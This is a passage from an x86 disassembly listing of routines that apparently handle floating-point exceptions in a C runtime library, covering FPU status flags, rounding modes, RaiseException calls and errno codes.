0FFFFh mov eax, [ebp+28h] push eax call sub_4295E0 add esp, 8 fld qword ptr [ebp+20h] loc_4288FA: ; CODE XREF: seg000:004288D8j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428900 proc near ; CODE XREF: sub_428770+3Ep ; seg000:00428886p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz short loc_428944 mov [ebp+var_4], 0C000008Fh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_428944: ; CODE XREF: sub_428900+2Cj mov ecx, [ebp+arg_8] and ecx, 2 test ecx, ecx jz short loc_428963 mov [ebp+var_4], 0C0000093h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 2 mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_428963: ; CODE XREF: sub_428900+4Cj mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_428983 mov [ebp+var_4], 0C0000091h mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+4], ecx loc_428983: ; CODE XREF: sub_428900+6Bj mov eax, [ebp+arg_8] and eax, 4 test eax, eax jz short loc_4289A3 mov [ebp+var_4], 0C000008Eh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 8 mov eax, [ebp+arg_0] mov [eax+4], edx loc_4289A3: ; CODE XREF: sub_428900+8Bj mov ecx, [ebp+arg_8] and ecx, 8 test ecx, ecx jz short loc_4289C2 mov [ebp+var_4], 0C0000090h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 10h mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_4289C2: ; CODE XREF: sub_428900+ABj mov edx, [ebp+arg_4] mov eax, [edx] and eax, 1 neg eax sbb eax, eax inc eax and eax, 1 shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFEFh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 4 neg edx sbb edx, edx inc edx and edx, 1 shl edx, 3 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFF7h or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 8 neg ecx sbb ecx, ecx inc ecx and ecx, 1 shl ecx, 2 mov edx, [ebp+arg_0] mov eax, [edx+8] and al, 0FBh or eax, ecx mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [edx] and eax, 10h neg eax sbb eax, eax inc eax and eax, 1 shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFFDh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 20h neg edx sbb edx, edx inc edx and edx, 1 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFFEh or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx call sub_4295A0 mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, 1 test eax, eax jz short loc_428A92 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_428A92: ; CODE XREF: sub_428900+181j mov ecx, [ebp+var_8] and ecx, 4 test ecx, ecx jz short loc_428AAA mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 8 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_428AAA: ; CODE XREF: sub_428900+19Aj mov edx, [ebp+var_8] and edx, 8 test edx, edx jz short loc_428AC3 mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+0Ch], ecx loc_428AC3: ; CODE XREF: sub_428900+1B2j mov eax, [ebp+var_8] and eax, 10h test eax, eax jz short loc_428ADC mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_428ADC: ; CODE XREF: sub_428900+1CBj mov ecx, [ebp+var_8] and ecx, 20h test ecx, ecx jz short loc_428AF4 mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_428AF4: ; CODE XREF: sub_428900+1E4j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 0C00h mov [ebp+var_C], eax cmp [ebp+var_C], 800h ja short loc_428B24 cmp [ebp+var_C], 800h jz short loc_428B3E cmp [ebp+var_C], 0 jz short loc_428B62 cmp [ebp+var_C], 400h jz short loc_428B50 jmp short loc_428B6F ; --------------------------------------------------------------------------- loc_428B24: ; CODE XREF: sub_428900+208j cmp [ebp+var_C], 0C00h jz short loc_428B2F jmp short loc_428B6F ; --------------------------------------------------------------------------- loc_428B2F: ; CODE XREF: sub_428900+22Bj mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, 3 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_428B6F ; --------------------------------------------------------------------------- loc_428B3E: ; CODE XREF: sub_428900+211j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 2 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_428B6F ; --------------------------------------------------------------------------- loc_428B50: ; CODE XREF: sub_428900+220j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_428B6F ; --------------------------------------------------------------------------- loc_428B62: ; CODE XREF: sub_428900+217j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh mov eax, [ebp+arg_0] mov [eax], edx loc_428B6F: ; CODE XREF: sub_428900+222j ; sub_428900+22Dj ... mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 300h mov [ebp+var_10], edx cmp [ebp+var_10], 0 jz short loc_428BB8 cmp [ebp+var_10], 200h jz short loc_428BA6 cmp [ebp+var_10], 300h jz short loc_428B97 jmp short loc_428BC8 ; --------------------------------------------------------------------------- loc_428B97: ; CODE XREF: sub_428900+293j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_428BC8 ; --------------------------------------------------------------------------- loc_428BA6: ; CODE XREF: sub_428900+28Aj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_428BC8 ; --------------------------------------------------------------------------- loc_428BB8: ; CODE XREF: sub_428900+281j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx loc_428BC8: ; CODE XREF: sub_428900+295j ; sub_428900+2A4j ... mov eax, [ebp+arg_C] and eax, 0FFFh shl eax, 5 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFE001Fh or edx, eax mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] or edx, 1 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] and edx, 0FFFFFFE1h or edx, 2 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_10] mov eax, [edx] mov [ecx+10h], eax mov edx, [edx+4] mov [ecx+14h], edx mov eax, [ebp+arg_0] mov ecx, [eax+50h] or ecx, 1 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE1h or ecx, 2 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_14] mov edx, [ecx] mov [eax+40h], edx mov ecx, [ecx+4] mov [eax+44h], ecx call sub_4295C0 lea edx, [ebp+arg_0] push edx push 1 push 0 mov eax, [ebp+var_4] push eax call ds:dword_4F1498 ; RaiseException mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 4 and edx, 1 test edx, edx jz short loc_428C7D mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+arg_4] mov [edx], ecx loc_428C7D: ; CODE XREF: sub_428900+36Ej mov eax, [ebp+arg_0] mov ecx, [eax+8] shr ecx, 3 and ecx, 1 test ecx, ecx jz short loc_428C99 mov edx, [ebp+arg_4] mov eax, [edx] and al, 0FBh mov ecx, [ebp+arg_4] mov [ecx], eax loc_428C99: ; CODE XREF: sub_428900+38Bj mov edx, [ebp+arg_0] mov eax, [edx+8] shr eax, 2 and eax, 1 test eax, eax jz short loc_428CB6 mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 0FFFFFFF7h mov eax, [ebp+arg_4] mov [eax], edx loc_428CB6: ; CODE XREF: sub_428900+3A7j mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 and edx, 1 test edx, edx jz short loc_428CD2 mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFEFh mov edx, [ebp+arg_4] mov [edx], ecx loc_428CD2: ; CODE XREF: sub_428900+3C3j mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 test ecx, ecx jz short loc_428CEB mov edx, [ebp+arg_4] mov eax, [edx] and al, 0DFh mov ecx, [ebp+arg_4] mov [ecx], eax loc_428CEB: ; CODE XREF: sub_428900+3DDj mov edx, [ebp+arg_0] mov eax, [edx] and eax, 3 mov [ebp+var_14], eax cmp [ebp+var_14], 3 ja short loc_428D49 mov ecx, [ebp+var_14] jmp ds:off_428DB1[ecx*4] loc_428D06: ; DATA XREF: seg000:00428DBDo mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 0Ch mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_428D49 ; --------------------------------------------------------------------------- loc_428D18: ; CODE XREF: sub_428900+3FFj ; DATA XREF: seg000:00428DB9o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 8 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_428D49 ; --------------------------------------------------------------------------- loc_428D2A: ; CODE XREF: sub_428900+3FFj ; DATA XREF: seg000:00428DB5o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 4 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_428D49 ; --------------------------------------------------------------------------- loc_428D3C: ; CODE XREF: sub_428900+3FFj ; DATA XREF: seg000:off_428DB1o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h mov ecx, [ebp+arg_4] mov [ecx], eax loc_428D49: ; CODE XREF: sub_428900+3FAj ; sub_428900+416j ... mov edx, [ebp+arg_0] mov eax, [edx] shr eax, 2 and eax, 7 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_428D6B cmp [ebp+var_18], 1 jz short loc_428D7D cmp [ebp+var_18], 2 jz short loc_428D8F jmp short loc_428D9C ; --------------------------------------------------------------------------- loc_428D6B: ; CODE XREF: sub_428900+45Bj mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 3 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_428D9C ; --------------------------------------------------------------------------- loc_428D7D: ; CODE XREF: sub_428900+461j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 2 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_428D9C ; --------------------------------------------------------------------------- loc_428D8F: ; CODE XREF: sub_428900+467j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h mov eax, [ebp+arg_4] mov [eax], edx loc_428D9C: ; CODE XREF: sub_428900+469j ; sub_428900+47Bj ... mov ecx, [ebp+arg_0] mov edx, [ebp+arg_14] mov eax, [ecx+40h] mov [edx], eax mov ecx, [ecx+44h] mov [edx+4], ecx mov esp, ebp pop ebp retn sub_428900 endp ; --------------------------------------------------------------------------- off_428DB1 dd offset loc_428D3C ; DATA XREF: sub_428900+3FFr dd offset loc_428D2A dd offset loc_428D18 dd offset loc_428D06 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428DD0 proc near ; CODE XREF: sub_428770+12p ; seg000:00428842p var_44 = dword ptr -44h var_40 = qword ptr -40h var_38 = qword ptr -38h var_30 = qword ptr -30h var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h mov eax, [ebp+arg_0] and eax, 1Fh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_428E0A mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_428E0A push 1 call sub_429620 add esp, 4 mov eax, [ebp+var_4] and al, 0F7h mov [ebp+var_4], eax jmp loc_42910E ; --------------------------------------------------------------------------- loc_428E0A: ; CODE XREF: sub_428DD0+17j ; sub_428DD0+21j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_428E35 mov edx, [ebp+arg_8] and edx, 4 test edx, edx jz short loc_428E35 push 4 call sub_429620 add esp, 4 mov eax, [ebp+var_4] and al, 0FBh mov [ebp+var_4], eax jmp loc_42910E ; --------------------------------------------------------------------------- loc_428E35: ; CODE XREF: sub_428DD0+42j ; sub_428DD0+4Cj mov ecx, [ebp+arg_0] and ecx, 1 test ecx, ecx jz loc_428FB1 mov edx, [ebp+arg_8] and edx, 8 test edx, edx jz loc_428FB1 push 8 call sub_429620 add esp, 4 mov eax, [ebp+arg_8] and eax, 0C00h mov [ebp+var_20], eax cmp [ebp+var_20], 800h ja short loc_428E90 cmp [ebp+var_20], 800h jz short loc_428EE5 cmp [ebp+var_20], 0 jz short loc_428EA2 cmp [ebp+var_20], 400h jz loc_428F25 jmp loc_428FA3 ; --------------------------------------------------------------------------- loc_428E90: ; CODE XREF: sub_428DD0+9Dj cmp [ebp+var_20], 0C00h jz loc_428F65 jmp loc_428FA3 ; --------------------------------------------------------------------------- loc_428EA2: ; CODE XREF: sub_428DD0+ACj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_43A188 fnstsw ax test ah, 41h jnz short loc_428EC7 mov edx, dword ptr ds:dbl_4503B8 mov dword ptr [ebp+var_28], edx mov eax, dword ptr ds:dbl_4503B8+4 mov dword ptr [ebp+var_28+4], eax jmp short loc_428ED2 ; --------------------------------------------------------------------------- loc_428EC7: ; CODE XREF: sub_428DD0+E2j fld ds:dbl_4503B8 fchs fstp [ebp+var_28] loc_428ED2: ; CODE XREF: sub_428DD0+F5j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_28] mov [ecx], edx mov eax, dword ptr [ebp+var_28+4] mov [ecx+4], eax jmp loc_428FA3 ; --------------------------------------------------------------------------- loc_428EE5: ; CODE XREF: sub_428DD0+A6j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_43A188 fnstsw ax test ah, 41h jnz short loc_428F0A mov edx, dword ptr ds:dbl_4503B8 mov dword ptr [ebp+var_30], edx mov eax, dword ptr ds:dbl_4503B8+4 mov dword ptr [ebp+var_30+4], eax jmp short loc_428F15 ; --------------------------------------------------------------------------- loc_428F0A: ; CODE XREF: sub_428DD0+125j fld ds:dbl_4503C8 fchs fstp [ebp+var_30] loc_428F15: ; CODE XREF: sub_428DD0+138j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_30] mov [ecx], edx mov eax, dword ptr [ebp+var_30+4] mov [ecx+4], eax jmp short loc_428FA3 ; --------------------------------------------------------------------------- loc_428F25: ; CODE XREF: sub_428DD0+B5j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_43A188 fnstsw ax test ah, 41h jnz short loc_428F4A mov edx, dword ptr ds:dbl_4503C8 mov dword ptr [ebp+var_38], edx mov eax, dword ptr ds:dbl_4503C8+4 mov dword ptr [ebp+var_38+4], eax jmp short loc_428F55 ; --------------------------------------------------------------------------- loc_428F4A: ; CODE XREF: sub_428DD0+165j fld ds:dbl_4503B8 fchs fstp [ebp+var_38] loc_428F55: ; CODE XREF: sub_428DD0+178j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_38] mov [ecx], edx mov eax, dword ptr [ebp+var_38+4] mov [ecx+4], eax jmp short loc_428FA3 ; --------------------------------------------------------------------------- loc_428F65: ; CODE XREF: sub_428DD0+C7j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_43A188 fnstsw ax test ah, 41h jnz short loc_428F8A mov edx, dword ptr ds:dbl_4503C8 mov dword ptr [ebp+var_40], edx mov eax, dword ptr ds:dbl_4503C8+4 mov dword ptr [ebp+var_40+4], eax jmp short loc_428F95 ; --------------------------------------------------------------------------- loc_428F8A: ; CODE XREF: sub_428DD0+1A5j fld ds:dbl_4503C8 fchs fstp [ebp+var_40] loc_428F95: ; CODE XREF: sub_428DD0+1B8j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_40] mov [ecx], edx mov eax, dword ptr [ebp+var_40+4] mov [ecx+4], eax loc_428FA3: ; CODE XREF: sub_428DD0+BBj ; sub_428DD0+CDj ... mov ecx, [ebp+var_4] and ecx, 0FFFFFFFEh mov [ebp+var_4], ecx jmp loc_42910E ; --------------------------------------------------------------------------- loc_428FB1: ; CODE XREF: sub_428DD0+6Dj ; sub_428DD0+7Bj mov edx, [ebp+arg_0] and edx, 2 test edx, edx jz loc_42910E mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz loc_42910E mov [ebp+var_8], 0 mov ecx, [ebp+arg_0] and ecx, 10h test ecx, ecx jz short loc_428FE5 mov [ebp+var_8], 1 loc_428FE5: ; CODE XREF: sub_428DD0+20Cj mov edx, [ebp+arg_4] fld qword ptr [edx] fcomp ds:dbl_43A188 fnstsw ax test ah, 40h jnz loc_4290EE lea eax, [ebp+var_18] push eax ; int mov ecx, [ebp+arg_4] mov edx, [ecx+4] push edx mov eax, [ecx] push eax ; double call sub_429460 add esp, 0Ch fstp [ebp+var_10] mov ecx, [ebp+var_18] sub ecx, 600h mov [ebp+var_14], ecx cmp [ebp+var_14], 0FFFFFBCEh jge short loc_429041 fld [ebp+var_10] fmul ds:dbl_43A188 fstp [ebp+var_10] mov [ebp+var_8], 1 jmp loc_4290DE ; --------------------------------------------------------------------------- loc_429041: ; CODE XREF: sub_428DD0+257j fld [ebp+var_10] fcomp ds:dbl_43A188 fnstsw ax test ah, 1 jz short loc_42905A mov [ebp+var_44], 1 jmp short loc_429061 ; --------------------------------------------------------------------------- loc_42905A: ; CODE XREF: sub_428DD0+27Fj mov [ebp+var_44], 0 loc_429061: ; CODE XREF: sub_428DD0+288j mov edx, [ebp+var_44] mov [ebp+var_1C], edx mov ax, word ptr [ebp+var_10+6] and ax, 0Fh mov word ptr [ebp+var_10+6], ax mov cx, word ptr [ebp+var_10+6] or cl, 10h mov word ptr [ebp+var_10+6], cx jmp short loc_429089 ; --------------------------------------------------------------------------- loc_429080: ; CODE XREF: sub_428DD0+2FEj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_429089: ; CODE XREF: sub_428DD0+2AEj cmp [ebp+var_14], 0FFFFFC03h jge short loc_4290D0 mov eax, dword ptr [ebp+var_10] and eax, 1 test eax, eax jz short loc_4290A9 cmp [ebp+var_8], 0 jnz short loc_4290A9 mov [ebp+var_8], 1 loc_4290A9: ; CODE XREF: sub_428DD0+2CAj ; sub_428DD0+2D0j mov ecx, dword ptr [ebp+var_10] shr ecx, 1 mov dword ptr [ebp+var_10], ecx mov edx, dword ptr [ebp+var_10+4] and edx, 1 test edx, edx jz short loc_4290C6 mov eax, dword ptr [ebp+var_10] or eax, 80000000h mov dword ptr [ebp+var_10], eax loc_4290C6: ; CODE XREF: sub_428DD0+2E9j mov ecx, dword ptr [ebp+var_10+4] shr ecx, 1 mov dword ptr [ebp+var_10+4], ecx jmp short loc_429080 ; --------------------------------------------------------------------------- loc_4290D0: ; CODE XREF: sub_428DD0+2C0j cmp [ebp+var_1C], 0 jz short loc_4290DE fld [ebp+var_10] fchs fstp [ebp+var_10] loc_4290DE: ; CODE XREF: sub_428DD0+26Cj ; sub_428DD0+304j mov edx, [ebp+arg_4] mov eax, dword ptr [ebp+var_10] mov [edx], eax mov ecx, dword ptr [ebp+var_10+4] mov [edx+4], ecx jmp short loc_4290F5 ; --------------------------------------------------------------------------- loc_4290EE: ; CODE XREF: sub_428DD0+225j mov [ebp+var_8], 1 loc_4290F5: ; CODE XREF: sub_428DD0+31Cj cmp [ebp+var_8], 0 jz short loc_429105 push 10h call sub_429620 add esp, 4 loc_429105: ; CODE XREF: sub_428DD0+329j mov edx, [ebp+var_4] and edx, 0FFFFFFFDh mov [ebp+var_4], edx loc_42910E: ; CODE XREF: sub_428DD0+35j ; sub_428DD0+60j ... mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_429135 mov ecx, [ebp+arg_8] and ecx, 20h test ecx, ecx jz short loc_429135 push 20h call sub_429620 add esp, 4 mov edx, [ebp+var_4] and edx, 0FFFFFFEFh mov [ebp+var_4], edx loc_429135: ; CODE XREF: sub_428DD0+346j ; sub_428DD0+350j xor eax, eax cmp [ebp+var_4], 0 setz al mov esp, ebp pop ebp retn sub_428DD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_429150(int, int, int, int, int, int, double, int) sub_429150 proc near ; CODE XREF: sub_4286A0+2Ap ; seg000:0042873Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push eax call sub_429230 add esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4291C7 mov ecx, [ebp+arg_0] mov [ebp+var_20], ecx mov edx, [ebp+arg_8] mov [ebp+var_18], edx mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov ecx, [ebp+arg_10] mov [ebp+var_10], ecx mov edx, [ebp+arg_14] mov [ebp+var_C], edx mov eax, dword ptr [ebp+arg_18] mov dword ptr [ebp+var_8], eax mov ecx, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], ecx push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_4295E0 add esp, 8 lea eax, [ebp+var_20] push eax call sub_42F6C0 add esp, 4 test eax, eax jnz short loc_4291C2 mov ecx, [ebp+arg_0] push ecx call sub_4291F0 add esp, 4 loc_4291C2: ; CODE XREF: sub_429150+64j fld [ebp+var_8] jmp short loc_4291E7 ; --------------------------------------------------------------------------- loc_4291C7: ; CODE XREF: sub_429150+19j push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_4295E0 add esp, 8 mov eax, [ebp+arg_0] push eax call sub_4291F0 add esp, 4 fld [ebp+arg_18] loc_4291E7: ; CODE XREF: sub_429150+75j mov esp, ebp pop ebp retn sub_429150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4291F0 proc near ; CODE XREF: sub_428770+92p ; seg000:004288DEp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 1 jz short loc_42920E cmp [ebp+var_4], 1 jle short loc_429226 cmp [ebp+var_4], 3 jle short loc_42921B jmp short loc_429226 ; --------------------------------------------------------------------------- loc_42920E: ; CODE XREF: sub_4291F0+Ej call sub_4267E0 mov dword ptr [eax], 21h jmp short loc_429226 ; --------------------------------------------------------------------------- loc_42921B: ; CODE XREF: sub_4291F0+1Aj call sub_4267E0 mov dword ptr [eax], 22h loc_429226: ; CODE XREF: sub_4291F0+14j ; sub_4291F0+1Cj ... mov esp, ebp pop ebp retn sub_4291F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429230 proc near ; CODE XREF: sub_429150+Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_429246 ; --------------------------------------------------------------------------- loc_42923D: ; CODE XREF: sub_429230:loc_429267j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_429246: ; CODE XREF: sub_429230+Bj cmp [ebp+var_4], 1Bh jge short loc_429269 mov ecx, [ebp+var_4] mov edx, ds:dword_4502E0[ecx*8] cmp edx, [ebp+arg_0] jnz short loc_429267 mov eax, [ebp+var_4] mov eax, ds:off_4502E4[eax*8] jmp short loc_42926B ; --------------------------------------------------------------------------- loc_429267: ; CODE XREF: sub_429230+29j jmp short loc_42923D ; --------------------------------------------------------------------------- loc_429269: ; CODE XREF: sub_429230+1Aj xor eax, eax loc_42926B: ; CODE XREF: sub_429230+35j mov esp, ebp pop ebp retn sub_429230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429270 proc near ; CODE XREF: sub_428770+4Ap ; seg000:00428892p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 20h test eax, eax jz short loc_429287 mov [ebp+var_4], 5 jmp short loc_4292DA ; --------------------------------------------------------------------------- loc_429287: ; CODE XREF: sub_429270+Cj mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_42929A mov [ebp+var_4], 1 jmp short loc_4292DA ; --------------------------------------------------------------------------- loc_42929A: ; CODE XREF: sub_429270+1Fj mov edx, [ebp+arg_0] and edx, 4 test edx, edx jz short loc_4292AD mov [ebp+var_4], 2 jmp short loc_4292DA ; --------------------------------------------------------------------------- loc_4292AD: ; CODE XREF: sub_429270+32j mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_4292C0 mov [ebp+var_4], 3 jmp short loc_4292DA ; --------------------------------------------------------------------------- loc_4292C0: ; CODE XREF: sub_429270+45j mov ecx, [ebp+arg_0] and ecx, 2 test ecx, ecx jz short loc_4292D3 mov [ebp+var_4], 4 jmp short loc_4292DA ; --------------------------------------------------------------------------- loc_4292D3: ; CODE XREF: sub_429270+58j mov [ebp+var_4], 0 loc_4292DA: ; CODE XREF: sub_429270+15j ; sub_429270+28j ... mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_429270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4292F0 proc near ; CODE XREF: seg000:00429389p ; sub_429460+ECp ... var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov dword ptr [ebp+var_C], eax mov ecx, [ebp+arg_4] mov dword ptr [ebp+var_C+4], ecx mov edx, [ebp+arg_8] add edx, 3FEh mov [ebp+var_4], edx mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 800Fh mov ecx, [ebp+var_4] shl ecx, 4 or eax, ecx mov word ptr [ebp+var_C+6], ax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_4292F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 mov [ebp-4], ax mov cx, [ebp-4] sub cx, 3FEh mov [ebp-4], cx movsx eax, word ptr [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax mov edx, [ebp+10h] lea eax, [ecx+edx-3FEh] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_4292F0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp+0Ch] mov [ebp-4], ecx mov edx, [ebp+0Eh] and edx, 0FFFFh and edx, 800Fh mov eax, [ebp+10h] shl eax, 4 or edx, eax mov [ebp-2], dx fld qword ptr [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4293E0 proc near ; CODE 